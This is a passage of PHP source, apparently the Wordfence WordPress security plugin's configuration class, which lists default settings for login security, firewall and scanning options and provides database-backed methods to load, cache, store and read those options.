			"loginSec_lockInvalidUsers" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"loginSec_maskLoginErrors" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"loginSec_blockAdminReg" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"loginSec_disableAuthorScan" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"loginSec_disableApplicationPasswords" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"loginSec_disableOEmbedAuthor" => array('value' => false, 'autoload' => self::AUTOLOAD),
			'loginSec_requireAdminTwoFactor' => array('value' => false, 'autoload' => self::AUTOLOAD),
			"notification_updatesNeeded" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"notification_securityAlerts" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"notification_promotions" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"notification_blogHighlights" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"notification_productUpdates" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"notification_scanStatus" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"enableRemoteIpLookup" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"other_hideWPVersion" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"other_blockBadPOST" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"other_scanComments" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"other_pwStrengthOnUpdate" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"other_WFNet" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"other_scanOutside" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"other_bypassLitespeedNoabort" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"deleteTablesOnDeact" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"autoUpdate" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"startScansRemotely" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"disableConfigCaching" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"addCacheComment" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"disableCodeExecutionUploads" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"allowHTTPSCaching" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"debugOn" => array('value' => false, 'autoload' => self::AUTOLOAD),
			'email_summary_enabled' => array('value' => true, 'autoload' => self::AUTOLOAD),
			'email_summary_dashboard_widget_enabled' => array('value' => true, 'autoload' => self::AUTOLOAD),
			'ssl_verify' => array('value' => true, 'autoload' => self::AUTOLOAD),
			'ajaxWatcherDisabled_front' => array('value' => false, 'autoload' => self::AUTOLOAD),
			'ajaxWatcherDisabled_admin' => array('value' => false, 'autoload' => self::AUTOLOAD),
			'wafAlertOnAttacks' => array('value' => true, 'autoload' => self::AUTOLOAD),
			'disableWAFIPBlocking' => array('value' => false, 'autoload' => self::AUTOLOAD),
			'showAdminBarMenu' => array('value' => true, 'autoload' => self::AUTOLOAD),
			'displayTopLevelOptions' => array('value' => true, 'autoload' => self::AUTOLOAD),
			'displayTopLevelBlocking' => array('value' => false, 'autoload' => self::AUTOLOAD),
			'displayTopLevelLiveTraffic' => array('value' => false, 'autoload' => self::AUTOLOAD),
			'displayTopLevelAuditLog' => array('value' => true, 'autoload' => self::AUTOLOAD),
			'displayAutomaticBlocks' => array('value' => true, 'autoload' => self::AUTOLOAD),
			'allowLegacy2FA' => array('value' => false, 'autoload' => self::AUTOLOAD),
			'wordfenceI18n' => array('value' => true, 'autoload' => self::AUTOLOAD),
		),
		//All exportable variable type options
		"otherParams" => array(
			"scan_include_extra" => array('value' => "", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			"alertEmails" => array('value' => "", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 
			"liveTraf_ignoreUsers" => array('value' => "", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 
			"liveTraf_ignoreIPs" => array('value' => "", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 
			"liveTraf_ignoreUA" => array('value' => "", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),   
			"maxMem" => array('value' => 256, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 
			'scan_exclude' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 
			'scan_maxIssues' => array('value' => 1000, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 
			'scan_maxDuration' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 
			"scan_max_resume_attempts" => array('value' => wfScanMonitor::DEFAULT_RESUME_ATTEMPTS, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)),
			'whitelisted' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'whitelistedServices' => array('value' => '{}', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_JSON)),
			'bannedURLs' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 
			'maxExecutionTime' => array('value' => 0, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 
			'howGetIPs' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 
			'actUpdateInterval' => array('value' => 2, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 
			'alert_maxHourly' => array('value' => 0, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 
			'loginSec_userBlacklist' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'liveTraf_maxRows' => array('value' => 2000, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)),
			'liveTraf_maxAge' => array('value' => 30, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)),
			"neverBlockBG" => array('value' => "neverBlockVerified", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			"loginSec_countFailMins" => array('value' => 240, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)),
			"loginSec_lockoutMins" => array('value' => 240, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)),
			'loginSec_strongPasswds' => array('value' => 'pubs', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'loginSec_breachPasswds' => array('value' => 'admins', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'loginSec_maxFailures' => array('value' => 20, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)),
			'loginSec_maxForgotPasswd' => array('value' => 20, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)),
			'maxGlobalRequests' => array('value' => 'DISABLED', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'maxGlobalRequests_action' => array('value' => "throttle", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'maxRequestsCrawlers' => array('value' => 'DISABLED', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'maxRequestsCrawlers_action' => array('value' => "throttle", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'maxRequestsHumans' => array('value' => 'DISABLED', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'maxRequestsHumans_action' => array('value' => "throttle", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'max404Crawlers' => array('value' => 'DISABLED', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'max404Crawlers_action' => array('value' => "throttle", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'max404Humans' => array('value' => 'DISABLED', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'max404Humans_action' => array('value' => "throttle", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'blockedTime' => array('value' => 300, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)),
			'email_summary_interval' => array('value' => 'weekly', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'email_summary_excluded_directories' => array('value' => 'wp-content/cache,wp-content/wflogs', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'allowed404s' => array('value' => "/favicon.ico\n/apple-touch-icon*.png\n/*@2x.png\n/browserconfig.xml", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'wafAlertWhitelist' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'wafAlertInterval' => array('value' => 600, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)),
			'wafAlertThreshold' => array('value' => 100, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)),
			'howGetIPs_trusted_proxies' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'howGetIPs_trusted_proxy_preset' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'scanType' => array('value' => wfScanner::SCAN_TYPE_STANDARD, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'manualScanType' => array('value' => wfScanner::MANUAL_SCHEDULING_ONCE_DAILY, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'schedStartHour' => array('value' => -1, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)),
			'schedMode' => array('value' => wfScanner::SCAN_SCHEDULING_MODE_AUTOMATIC, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'cbl_loggedInBlocked' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'cbl_action' => array('value' => 'block', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'cbl_redirURL' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'cbl_bypassRedirURL' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'cbl_bypassRedirDest' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'cbl_bypassViewURL' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'loginSec_enableSeparateTwoFactor' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'blockCustomText' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'alertOn_severityLevel' => array('value' => wfIssues::SEVERITY_LOW, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)),
			'auditLogMode' => array('value' => wfAuditLog::AUDIT_LOG_MODE_DEFAULT, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
		),
		//Set as default only, not included automatically in the settings import/export or options page saving
		'defaultsOnly' => array(
			"apiKey" => array('value' => "", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'keyType' => array('value' => wfLicense::KEY_TYPE_FREE, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'isPaid' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'hasKeyConflict' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'timeoffset_wf_updated' => array('value' => 0, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)),
			'cacheType' => array('value' => 'disabled', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'detectProxyRecommendation' => array('value' => '', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'dismissAutoPrependNotice' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'onboardingAttempt1' => array('value' => '', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'onboardingAttempt2' => array('value' => '', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'onboardingAttempt3' => array('value' => '', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'onboardingAttempt3Initial' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'onboardingDelayedAt' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)),
			'onboardingLastVersion' => array('value' => '', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'needsNewTour_dashboard' => array('value' => true, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'needsNewTour_firewall' => array('value' => true, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'needsNewTour_scan' => array('value' => true, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'needsNewTour_blocking' => array('value' => true, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'needsNewTour_livetraffic' => array('value' => true, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'needsNewTour_loginsecurity' => array('value' => true, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'needsNewTour_auditlog' => array('value' => true, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'needsUpgradeTour_dashboard' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'needsUpgradeTour_firewall' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'needsUpgradeTour_scan' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'needsUpgradeTour_blocking' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'needsUpgradeTour_livetraffic' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'needsUpgradeTour_loginsecurity' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'needsUpgradeTour_auditlog' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'supportContent' => array('value' => '{}', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'supportHash' => array('value' => '', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'whitelistPresets' => array('value' => '{}', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'whitelistHash' => array('value' => '', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'touppPromptNeeded' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'touppBypassNextCheck' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
			'autoUpdateAttempts' => array('value' => 0, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)),
			'lastPermissionsTemplateCheck' => array('value' => 0, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)),
			'previousWflogsFileList' => array('value' => '[]', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'diagnosticsWflogsRemovalHistory' => array('value' => '[]', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)),
			'satisfactionPromptDismissed' => array('value' => 0, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)),
			'satisfactionPromptInstallDate' => array('value' => 0, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)),
			'satisfactionPromptOverride' => array('value' => true, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)),
		),
	);
	public static $serializedOptions = array('lastAdminLogin', 'scanSched', 'emailedIssuesList', 'wf_summaryItems', 'adminUserList', 'twoFactorUsers', 'alertFreqTrack', 'wfStatusStartMsgs', 'vulnerabilities_core', 'vulnerabilities_plugin', 'vulnerabilities_theme', 'dashboardData', 'malwarePrefixes', 'coreHashes', 'noc1ScanSchedule', 'allScansScheduled', 'disclosureStates', 'scanStageStatuses', 'adminNoticeQueue', 'suspiciousAdminUsernames', 'wordpressPluginVersions', 'wordpressThemeVersions', 'lastAuditEvents');
	// Configuration keypairs that can be set from Central.
	private static $wfCentralInternalConfig = array(
		'wordfenceCentralUserSiteAuthGrant',
		'wordfenceCentralConnected',
		'wordfenceCentralPluginAlertingDisabled',
	);

	public static function setDefaults() {
		foreach (self::$defaultConfig['checkboxes'] as $key => $config) {
			$val = $config['value'];
			$autoload = $config['autoload'];
			if (self::get($key) === false) {
				self::set($key, $val ? '1' : '0', $autoload);
			}
		}
		foreach (self::$defaultConfig['otherParams'] as $key => $config) {
			$val = $config['value'];
			$autoload = $config['autoload'];
			if (self::get($key) === false) {
				self::set($key, $val, $autoload);
			}
		}
		foreach (self::$defaultConfig['defaultsOnly'] as $key => $config) {
			$val = $config['value'];
			$autoload = $config['autoload'];
			if (self::get($key) === false) {
				if ($val === false) {
					self::set($key, '0', $autoload);
				}
				else if ($val === true) {
					self::set($key, '1', $autoload);
				}
				else {
					self::set($key, $val, $autoload);
				}
			}
		}
		self::set('encKey', substr(wfUtils::bigRandomHex(), 0, 16));
		self::set('longEncKey', bin2hex(wfWAFUtils::random_bytes(32)));
		if (self::get('maxMem', false) === false) {
			self::set('maxMem', '256');
		}
		if (self::get('other_scanOutside', false) === false) {
			self::set('other_scanOutside', 0);
		}

		if (self::get('email_summary_enabled')) {
			wfActivityReport::scheduleCronJob();
		} else {
			wfActivityReport::disableCronJob();
		}
	}
	public static function loadAllOptions() {
		global $wpdb;
		
		$options = wp_cache_get('alloptions', 'wordfence');
		if (!$options) {
			$table = self::table();
			self::updateTableExists();
			$suppress = $wpdb->suppress_errors();
			if (!($rawOptions = $wpdb->get_results("SELECT name, val FROM {$table} WHERE autoload = 'yes'"))) {
				$rawOptions = $wpdb->get_results("SELECT name, val FROM {$table}");
			}
			$wpdb->suppress_errors($suppress);
			$options = array();
			foreach ((array) $rawOptions as $o) {
				if (in_array($o->name, self::$serializedOptions)) {
					$val = maybe_unserialize($o->val);
					if ($val) {
						$options[$o->name] = $val;
					}
				}
				else {
					$options[$o->name] = $o->val;
				}
			}
			
			wp_cache_add_non_persistent_groups('wordfence');
			wp_cache_add('alloptions', $options, 'wordfence');
		}
		
		return $options;
	}
	
	/**
	 * Bases the table's existence on the option specified by wfConfig::TABLE_EXISTS_OPTION for performance. We only
	 * set that option just prior to deletion in the uninstall handler and after table creation in the install handler.
	 */
	public static function updateTableExists($change = null) {
		if ($change !== null) {
			self::$tableExists = !!$change;
			if (is_multisite() && function_exists('update_network_option')) {
				update_network_option(null, wfConfig::TABLE_EXISTS_OPTION, self::$tableExists);
			}
			else {
				update_option(wfConfig::TABLE_EXISTS_OPTION, self::$tableExists);
			}
			return;
		}
		
		self::$tableExists = true;
		if (is_multisite() && function_exists('get_network_option')) {
			$optionValue = get_network_option(null, wfConfig::TABLE_EXISTS_OPTION, null);
		}
		else {
			$optionValue = get_option(wfConfig::TABLE_EXISTS_OPTION, null);
		}
		
		if ($optionValue === null) { //No value, set an initial one
			global $wpdb;
			self::updateTableExists(!!$wpdb->get_col($wpdb->prepare('SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME=%s', self::table())));
			return;
		}
		if (!$optionValue) {
			self::$tableExists = false;
		}
	}
	
	public static function tableExists() {
		return self::$tableExists;
	}
	
	private static function updateCachedOption($name, $val) {
		$options = self::loadAllOptions();
		$options[$name] = $val;
		wp_cache_set('alloptions', $options, 'wordfence');
	}
	private static function removeCachedOption($name) {
		$options = self::loadAllOptions();
		if (isset($options[$name])) {
			unset($options[$name]);
			wp_cache_set('alloptions', $options, 'wordfence');
		}
	}
	private static function getCachedOption($name) {
		$options = self::loadAllOptions();
		if (isset($options[$name])) {
			return $options[$name];
		}
		
		$table = self::table();
		$val = self::getDB()->querySingle("SELECT val FROM {$table} WHERE name='%s'", $name);
		if ($val !== null) {
			$options[$name] = $val;
			wp_cache_set('alloptions', $options, 'wordfence');
		}
		return $val;
	}
	public static function hasCachedOption($name) {
		$options = self::loadAllOptions();
		return isset($options[$name]);
	}
	
	/**
	 * Returns an array of all option keys that are eligible for export with the exception of serialized options.
	 * 
	 * @return array
	 */
	public static function getExportableOptionsKeys() {
		$ret = array();
		foreach (self::$defaultConfig['checkboxes'] as $key => $val) {
			$ret[] = $key;
		}
		foreach (self::$defaultConfig['otherParams'] as $key => $val) {
			$ret[] = $key;
		}
		return $ret;
	}
	public static function parseOptions($excludeOmitted = false) {
		$ret = array();
		foreach (self::$defaultConfig['checkboxes'] as $key => $val) { //value is not used. We just need the keys for validation
			if ($excludeOmitted && isset($_POST[$key])) {
				$ret[$key] = (int) $_POST[$key];
			}
			else if (!$excludeOmitted || isset($_POST[$key])) {
				$ret[$key] = isset($_POST[$key]) ? '1' : '0';
			}
		}
		foreach (self::$defaultConfig['otherParams'] as $key => $val) {
			if (!$excludeOmitted || isset($_POST[$key])) {
				if (isset($_POST[$key])) {
					$ret[$key] = stripslashes($_POST[$key]);
				}
				else {
					error_log("Missing options param \"$key\" when parsing parameters.");
				}
			}
		}
		/* for debugging only:
		foreach($_POST as $key => $val){
			if($key != 'action' && $key != 'nonce' && (! array_key_exists($key, self::$checkboxes)) && (! array_key_exists($key, self::$otherParams)) ){
				error_log("Unrecognized option: $key");
			}
		}
		*/
		return $ret;
	}
	public static function setArray($arr){
		foreach($arr as $key => $val){
			self::set($key, $val);
		}
	}
	public static function getHTML($key){
		return esc_html(self::get($key));
	}
	public static function inc($key){
		$val = self::get($key, false);
		if(! $val){
			$val = 0;
		}
		self::set($key, $val + 1);
		return $val + 1;
	}
	public static function atomicInc($key) {
		if (!self::$tableExists) {
			return false;
		}
		
		global $wpdb;
		$old_suppress_errors = $wpdb->suppress_errors(true);
		$table = self::table();
		$rowExists = false;
		$successful = false;
		$attempts = 0;
		do {
			if (!$rowExists && $wpdb->query($wpdb->prepare("INSERT INTO {$table} (name, val, autoload) values (%s, %s, %s)", $key, 1, self::DONT_AUTOLOAD))) {
				$val = 1;
				$successful = true;
			}
			else {
				$rowExists = true;
				$val = self::get($key, 1);
				if ($wpdb->query($wpdb->prepare("UPDATE {$table} SET val = %s WHERE name = %s AND val = %s", $val + 1, $key, $val))) {
					$val++;
					$successful = true;
				}
			}
			$attempts++;
		} while (!$successful && $attempts < 100);
		$wpdb->suppress_errors($old_suppress_errors);
		return $val;
	}
	public static function remove($key) {
		global $wpdb;
		
		if (!self::$tableExists) {
			return;
		}
		
		$table = self::table();
		$wpdb->query($wpdb->prepare("DELETE FROM {$table} WHERE name = %s", $key));
		self::removeCachedOption($key);
		
		if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController') && (substr($key, 0, 4) == 'cbl_' || $key == 'blockedTime' || $key == 'disableWAFIPBlocking')) {
			wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings();
		}
	}
	public static function set($key, $val, $autoload = self::AUTOLOAD) {
		global $wpdb;
		
		if (is_array($val)) {
			$msg = sprintf(
				/* translators: 1. Key in key-value store. 2. Value in key-value store. */
				__('wfConfig::set() got an array as second param with key: %1$s and value: %2$s', 'wordfence'), $key, var_export($val, true));
			wordfence::status(1, 'error', $msg);
			return;
		}
		
		
		self::_handleActionHooks($key, $val);

		if (($key == 'apiKey' || $key == 'isPaid' || $key == 'other_WFNet') && wfWAF::getInstance() && !WFWAF_SUBDIRECTORY_INSTALL) {
			if ($key == 'isPaid' || $key == 'other_WFNet') {
				$val = !!$val;
			}
			
			try {
				wfWAF::getInstance()->getStorageEngine()->setConfig($key, $val, 'synced');
			} catch (wfWAFStorageFileException $e) {
				error_log($e->getMessage());
			} catch (wfWAFStorageEngineMySQLiException $e) {
				error_log($e->getMessage());
			}
		}
		
		if (!self::$tableExists) {
			return;
		
		}
		$table = self::table();
		if ($wpdb->query($wpdb->prepare("INSERT INTO {$table} (name, val, autoload) values (%s, %s, %s) ON DUPLICATE KEY UPDATE val = %s, autoload = %s", $key, $val, $autoload, $val, $autoload)) !== false && $autoload != self::DONT_AUTOLOAD) {
			self::updateCachedOption($key, $val);
		}
		
		if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController') && (substr($key, 0, 4) == 'cbl_' || $key == 'blockedTime' || $key == 'disableWAFIPBlocking')) {
			wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings();
		} 
	}
	public static function setJSON($key, $val, $autoload = self::AUTOLOAD) {
		self::set($key, @json_encode($val), $autoload);
	}
	public static function setBool($key, $val, $autoload = self::AUTOLOAD) {
		self::set($key, wfUtils::truthyToBoolean($val) ? 1 : 0, $autoload);
	}
	public static function setOrRemove($key, $value, $autoload = self::AUTOLOAD) {
		if ($value === null) {
			self::remove($key);
		}
		else {
			self::set($key, $value, $autoload);
		}
	}
	public static function get($key, $default = false, $allowCached = true, &$isDefault = false) {
		global $wpdb;
		
		if ($allowCached && self::hasCachedOption($key)) {
			return self::getCachedOption($key);
		}
		
		if (!self::$tableExists) {
			$isDefault = true;
			return $default;
		}
		
		$table = self::table();
		if (!($option = $wpdb->get_row($wpdb->prepare("SELECT name, val, autoload FROM {$table} WHERE name = %s", $key)))) {
			$isDefault = true;
			return $default;
		}
		
		if ($option->autoload != self::DONT_AUTOLOAD) {
			self::updateCachedOption($key, $option->val);
		}
		return $option->val;
	}
	
	public static function getInt($key, $default = 0, $allowCached = true) {
		return (int) self::get($key, $default, $allowCached);
	}
	
	public static function getJSON($key, $default = false, $allowCached = true) {
		$json = self::get($key, $default, $allowCached, $isDefault);
		if ($isDefault)
			return $json;
		$decoded = @json_decode($json, true);
		if ($decoded === null) {
			return $default;
		}
		return $decoded;
	}
	
	public static function getBool($key, $default = false, $allowCached = true) {
		return wfUtils::truthyToBoolean(self::get($key, $default, $allowCached));
	}
	
	/**
	 * Runs a test against the database to verify set_ser is working via MySQLi.
	 * 
	 * @return bool
	 */
	public static function testDB() {
		$nonce = bin2hex(wfWAFUtils::random_bytes(32));
		$payload = array('nonce' => $nonce);
		$allow = wfConfig::get('allowMySQLi', true);
		wfConfig::set('allowMySQLi', true);
		wfConfig::set_ser('dbTest', $payload, false, wfConfig::DONT_AUTOLOAD);
		
		$stored = wfConfig::get_ser('dbTest', false, false);
		wfConfig::set('allowMySQLi', $allow);
		$result = false;
		if (is_array($stored) && isset($stored['nonce']) && hash_equals($nonce, $stored['nonce'])) {
			$result = true;
		}
		
		wfConfig::delete_ser_chunked('dbTest');
		return $result;
	}
	
	private static function canCompressValue() {
		if (!function_exists('gzencode') || !function_exists('gzdecode')) {
			return false;
		}
		$disabled = explode(',', ini_get('disable_functions'));
		if (in_array('gzencode', $disabled) || in_array('gzdecode', $disabled)) {
			return false;
		}
		return true;
	}
	
	private static function isCompressedValue($data) {
		//Based on http://www.ietf.org/rfc/rfc1952.txt
		if (strlen($data) < 2) {
			return false;
		}
		
		$magicBytes = substr($data, 0, 2);
		if ($magicBytes !== (chr(0x1f) . chr(0x8b))) {
			return false;
		}
		
		//Small chance of false positives here -- can check the header CRC if it turns out it's needed
		return true;
	}
	
	private static function ser_chunked_key($key) {
		return 'wordfence_chunked_' . $key . '_';
	}
	
	public static function get_ser($key, $default = false, $cache = true) {
		if (self::hasCachedOption($key)) {
			return self::getCachedOption($key);
		}
		
		if (!self::$tableExists) {
			return $default;
		}
		
		//Check for a chunked value first
		$chunkedValueKey = self::ser_chunked_key($key);
		$header = self::getDB()->querySingle("select val from " . self::table() . " where name=%s", $chunkedValueKey . 'header');
		if ($header) {
			$header = unserialize($header);
			$count = $header['count'];
			$path = tempnam(sys_get_temp_dir(), $key); //Writing to a file like this saves some of PHP's in-memory copying when just appending each chunk to a string
			$fh = fopen($path, 'r+');
			$length = 0;
			for ($i = 0; $i < $count; $i++) {
				$chunk = self::getDB()->querySingle("select val from " . self::table() . " where name=%s", $chunkedValueKey . $i);
				self::getDB()->flush(); //clear cache
				if (!$chunk) {
					wordfence::status(2, 'error', sprintf(/* translators: Key in key-value store. */ __("Error reassembling value for %s", 'wordfence'), $key));
					return $default;
				}
				fwrite($fh, $chunk);
				$length += strlen($chunk);
				unset($chunk);
			}
			
			fseek($fh, 0);
			$serialized = fread($fh, $length);
			fclose($fh);
			unlink($path);
			
			if (self::canCompressValue() && self::isCompressedValue($serialized)) {
				$inflated = @gzdecode($serialized);
				if ($inflated !== false) {
